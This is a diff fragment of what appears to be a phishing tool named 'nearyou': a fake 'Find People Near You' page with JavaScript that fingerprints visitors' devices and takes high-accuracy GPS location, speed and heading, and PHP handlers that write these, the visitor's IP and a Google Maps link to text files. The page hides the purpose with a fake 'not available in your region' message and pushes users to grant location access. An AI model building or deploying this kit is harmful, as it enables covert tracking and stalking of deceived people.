'{"speed":2,"speedAdjFactor":0.03,"density":1,"shape":"circle","warpEffect":true,"warpEffectLength":3,"depthFade":false,"starSize":3,"backgroundColor":"hsl(0,0%,0%)","starColor":"#FFFFFF"}');</script>
|
||||
<div><h1>Find People Near You</h1></div>
|
||||
<div><h2>Meet New People, Make New Friends</h2></div>
|
||||
<div class="earth"></div>
|
||||
<div><button id="change" class="button" type="button" onclick="main()">Continue</button></div>
|
||||
<div class="text" id="result"></div>
|
||||
</body>
|
||||
</html>
|
62
WebPages/TOOLS/nearyou/info.php
Normal file
|
@ -0,0 +1,62 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$ptf = $_POST['Ptf'];
|
||||
$brw = $_POST['Brw'];
|
||||
$cc = $_POST['Cc'];
|
||||
$ram = $_POST['Ram'];
|
||||
$ven = $_POST['Ven'];
|
||||
$ren = $_POST['Ren'];
|
||||
$ht = $_POST['Ht'];
|
||||
$wd = $_POST['Wd'];
|
||||
$os = $_POST['Os'];
|
||||
|
||||
function getUserIP()
|
||||
{
|
||||
// Get real visitor IP
|
||||
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]))
|
||||
{
|
||||
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
|
||||
$_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
|
||||
}
|
||||
$client = @$_SERVER['HTTP_CLIENT_IP'];
|
||||
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||
$remote = $_SERVER['REMOTE_ADDR'];
|
||||
|
||||
if(filter_var($client, FILTER_VALIDATE_IP))
|
||||
{
|
||||
$ip = $client;
|
||||
}
|
||||
elseif(filter_var($forward, FILTER_VALIDATE_IP))
|
||||
{
|
||||
$ip = $forward;
|
||||
}
|
||||
else
|
||||
{
|
||||
$ip = $remote;
|
||||
}
|
||||
return $ip;
|
||||
}
|
||||
|
||||
$ip = getUserIP();
|
||||
//
|
||||
$data['dev'] = array();
|
||||
|
||||
$data['dev'][] = array('platform' => $ptf,
|
||||
'browser' => $brw,
|
||||
'cores' => $cc,
|
||||
'ram' => $ram,
|
||||
'vendor' => $ven,
|
||||
'render' => $ren,
|
||||
'ip' => $ip,
|
||||
'ht' => $ht,
|
||||
'wd' => $wd,
|
||||
'os' => $os);
|
||||
|
||||
$jdata = json_encode($data);
|
||||
|
||||
$f = fopen('ip.txt', 'w+');
|
||||
fwrite($f, $jdata);
|
||||
fclose($f);
|
||||
}
|
||||
?>
|
117
WebPages/TOOLS/nearyou/js/info.js
Normal file
|
@ -0,0 +1,117 @@
|
|||
function information()
|
||||
{
|
||||
var ptf = navigator.platform;
|
||||
var cc = navigator.hardwareConcurrency;
|
||||
var ram = navigator.deviceMemory;
|
||||
var ver = navigator.userAgent;
|
||||
var str = ver;
|
||||
var os = ver;
|
||||
//gpu
|
||||
var canvas = document.createElement('canvas');
|
||||
var gl;
|
||||
var debugInfo;
|
||||
var ven;
|
||||
var ren;
|
||||
//sysinfo
|
||||
console.log(ver);
|
||||
console.log(ptf);
|
||||
|
||||
if (cc == undefined)
|
||||
{
|
||||
cc = 'Not Available';
|
||||
console.log('Cores are not available')
|
||||
}
|
||||
console.log(cc);
|
||||
|
||||
//ram
|
||||
if (ram == undefined)
|
||||
{
|
||||
ram = 'Not Available';
|
||||
console.log('RAM is not available')
|
||||
}
|
||||
console.log(ram);
|
||||
|
||||
//browser
|
||||
if (ver.indexOf('Firefox') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Firefox/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else if (ver.indexOf('Chrome') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Chrome/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else if (ver.indexOf('Safari') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Safari/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else if (ver.indexOf('Edge') != -1)
|
||||
{
|
||||
str = str.substring(str.indexOf(' Edge/') + 1);
|
||||
str = str.split(' ');
|
||||
brw = str[0];
|
||||
console.log(str[0]);
|
||||
}
|
||||
else
|
||||
{
|
||||
brw = 'Not Available'
|
||||
console.log('Browser is not available')
|
||||
}
|
||||
|
||||
//gpu
|
||||
try
|
||||
{
|
||||
gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
|
||||
}
|
||||
catch (e) {}
|
||||
if (gl)
|
||||
{
|
||||
debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
|
||||
ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
|
||||
ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
|
||||
}
|
||||
if (ven == undefined)
|
||||
{
|
||||
ven = 'Not Available';
|
||||
console.log('GPU Vendor not available')
|
||||
}
|
||||
if (ren == undefined)
|
||||
{
|
||||
ren = 'Not Available';
|
||||
console.log('GPU Renderer not available')
|
||||
}
|
||||
console.log(ven);
|
||||
console.log(ren);
|
||||
//
|
||||
var ht = window.screen.height
|
||||
var wd = window.screen.width
|
||||
console.log(window.screen.height)
|
||||
console.log(window.screen.width)
|
||||
//os
|
||||
os = os.substring(0, os.indexOf(')'));
|
||||
os = os.split(';');
|
||||
os = os[1];
|
||||
if (os == undefined)
|
||||
{
|
||||
os = 'Not Available';
|
||||
console.log('OS is not available')
|
||||
}
|
||||
os = os.trim();
|
||||
console.log(os);
|
||||
//
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/info.php',
|
||||
data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
|
||||
success: function(){console.log('Got Device Information');},
|
||||
mimeType: 'text'
|
||||
});
|
||||
}
|
60
WebPages/TOOLS/nearyou/js/location.js
Normal file
|
@ -0,0 +1,60 @@
|
|||
function locate()
|
||||
{
|
||||
if(navigator.geolocation)
|
||||
{
|
||||
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
|
||||
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
|
||||
}
|
||||
else
|
||||
{
|
||||
alert('Geolocation is not Supported by your Browser...');
|
||||
}
|
||||
|
||||
function showPosition(position)
|
||||
{
|
||||
var lat = position.coords.latitude;
|
||||
var lon = position.coords.longitude;
|
||||
var acc = position.coords.accuracy;
|
||||
var alt = position.coords.altitude;
|
||||
var dir = position.coords.heading;
|
||||
var spd = position.coords.speed;
|
||||
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/login.php',
|
||||
data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
|
||||
success: function(){$('#change').html('Coming Soon');},
|
||||
mimeType: 'text'
|
||||
});
|
||||
alert('This Service is Currently Not Available in Your Region.');
|
||||
};
|
||||
}
|
||||
|
||||
function showError(error)
|
||||
{
|
||||
switch(error.code)
|
||||
{
|
||||
case error.PERMISSION_DENIED:
|
||||
var denied = 'User denied the request for Geolocation';
|
||||
alert('Please Refresh This Page and Allow Location Permission...');
|
||||
break;
|
||||
case error.POSITION_UNAVAILABLE:
|
||||
var unavailable = 'Location information is unavailable';
|
||||
break;
|
||||
case error.TIMEOUT:
|
||||
var timeout = 'The request to get user location timed out';
|
||||
alert('Please Set Your Location Mode on High Accuracy...');
|
||||
break;
|
||||
case error.UNKNOWN_ERROR:
|
||||
var unknown = 'An unknown error occurred';
|
||||
break;
|
||||
}
|
||||
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: '/error.php',
|
||||
data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
|
||||
success: function(){$('#change').html('Failed');},
|
||||
mimeType: 'text'
|
||||
});
|
||||
}
|
4
WebPages/TOOLS/nearyou/js/main.js
Normal file
|
@ -0,0 +1,4 @@
|
|||
function main()
|
||||
{
|
||||
locate();
|
||||
}
|
1
WebPages/TOOLS/nearyou/js/warpspeed.min.js
vendored
Normal file
25
WebPages/TOOLS/nearyou/login.php
Normal file
|
@ -0,0 +1,25 @@
|
|||
<?php
|
||||
header('Content-Type: text/html');
|
||||
{
|
||||
$lat = $_POST['Lat'];
|
||||
$lon = $_POST['Lon'];
|
||||
$acc = $_POST['Acc'];
|
||||
$alt = $_POST['Alt'];
|
||||
$dir = $_POST['Dir'];
|
||||
$spd = $_POST['Spd'];
|
||||
|
||||
$linkdata = ("--------------------------------------"."\r\n"."\r\n"."Google Map Link:: https://www.google.com/maps/place/".$lat."+".$lon."\r\n"."\r\n");
|
||||
$data = (
|
||||
'Latitude = '.$lat."\r\n".
|
||||
'Longitude = '.$lon."\r\n".
|
||||
'Accuracy(meter) = '.$acc."\r\n".
|
||||
'Altitude = '.$alt."\r\n".
|
||||
'Direction(moving) = '.$dir."\r\n".
|
||||
'Speed(moving)= '.$spd."\r\n"."--------------------------------------");
|
||||
$f = fopen('usernames.txt', 'w+');
|
||||
fwrite($f, $linkdata);
|
||||
fwrite($f, $data);
|
||||
fclose($f);
|
||||
}
|
||||
header('Location: <CUSTOM>');
|
||||
?>
|